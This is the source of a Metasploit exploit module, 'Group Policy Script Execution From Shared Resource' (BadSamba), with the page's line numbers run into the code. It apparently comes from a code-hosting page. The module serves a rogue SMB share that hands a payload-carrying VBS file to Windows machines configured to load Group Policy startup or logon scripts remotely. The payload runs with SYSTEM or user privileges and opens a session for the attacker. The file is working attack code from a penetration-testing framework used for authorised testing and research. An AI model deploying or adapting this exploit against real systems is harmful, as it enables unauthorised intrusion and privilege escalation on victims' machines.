Path: blob/master/modules/exploits/windows/smb/group_policy_startup.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::SMB::Server::Share910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Group Policy Script Execution From Shared Resource',15'Description' => %q{16This is a general-purpose module for exploiting systems with Windows Group Policy17configured to load VBS startup/logon scripts from remote locations. This module runs18a SMB shared resource that will provide a payload through a VBS file. Startup scripts19will be executed with SYSTEM privileges, while logon scripts will be executed with the20user privileges. Have into account which the attacker still needs to redirect the21target traffic to the fake SMB share to exploit it successfully. Please note in some22cases, it will take 5 to 10 minutes to receive a session.23},24'Author' => [25'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba26'juan vazquez' # msf module27],28'References' => [29['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],30['URL', 'https://github.com/GDSSecurity/BadSamba']31],32'DefaultOptions' => {33'EXITFUNC' => 'thread',34},35'Privileged' => false,36'Platform' => 'win',37'Arch' => [ARCH_X86, ARCH_X64],38'Payload' => {39'Space' => 2048,40'DisableNops' => true41},42'Targets' => [43[ 'Windows x86', { 'Arch' => ARCH_X86 } ],44[ 'Windows x64', { 'Arch' => ARCH_X64 } ]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2015-01-26',48'Notes' => {49'AKA' => ['badsamba'],50'Stability' => UNKNOWN_STABILITY,51'Reliability' => UNKNOWN_RELIABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])60]61)6263deregister_options('FILE_CONTENTS')64end6566def setup67super68self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"69@custom_payloads = {}70print_status("File available on #{unc}...")71end7273def on_client_connect(client)74super(client)7576unless @custom_payloads[:client]77p = regenerate_payload(client)78exe = p.encoded_exe79@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)80end81end8283def get_file_contents(client:)84contents = @custom_payloads[client] || super(client: client)8586contents87end88end899091